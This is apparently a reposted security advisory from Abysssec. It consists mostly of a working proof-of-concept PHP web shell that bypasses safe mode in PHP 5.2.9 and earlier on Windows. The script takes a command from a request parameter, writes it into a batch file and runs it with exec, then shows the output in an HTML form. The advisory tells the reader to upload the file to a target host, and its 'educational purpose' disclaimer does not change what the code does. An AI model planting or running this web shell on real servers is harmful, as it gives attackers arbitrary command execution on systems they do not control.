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PHP <= 5.2.9 on windows

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

<?php
//cmd.php
/*
Abysssec Inc Public Advisory

Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
the problem comes from OS behavior - implement  and interfacing between php
and operation systems directory structure . the problem is php won't tell difference
between directory browsing in linux and windows this can lead attacker to ability
execute his / her commands on targert machie even in SafeMod On  (php.ini setting) .
=============================================================================
in linux when you want open a directory for example php directory you need
to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
diffence between slash and back slash it means there is no didffrence  between
c:\php and c:/php , and this is not vulnerability but itself but  because of this  simple
php implement "\" character can escape safemode using  function like excec .
here is a PoC for discussed vulnerability . just upload files on your target host and execute
your commands .
==============================================================================
note : this vulnerabities is just for educational purpose and author will be not be responsible
for any damage using this vulnerabilty.
==============================================================================
for more information visit Abysssec.com
feel free to contact me at admin [at] abysssec.com
*/
$cmd = $_REQUEST['cmd'];
if ($cmd){
$batch = fopen ("cmd.bat","w");
fwrite($batch,"$cmd>abysssec.txt"."\r\n");
fwrite($batch,"exit");
fclose($batch);
exec("\start cmd.bat");
echo "<center>";
echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";
echo "<textarea rows=20 cols=60>";
require("abysssec.txt");
echo "</textarea>";
echo "</center>";
}
?>

<html>
<body bgcolor=#000000 and text=#DO0000>
<center>
<form method=post>
<input type=text name=cmd >
<input type=submit value=bypass>
</form>
</center>
</body>
</html>

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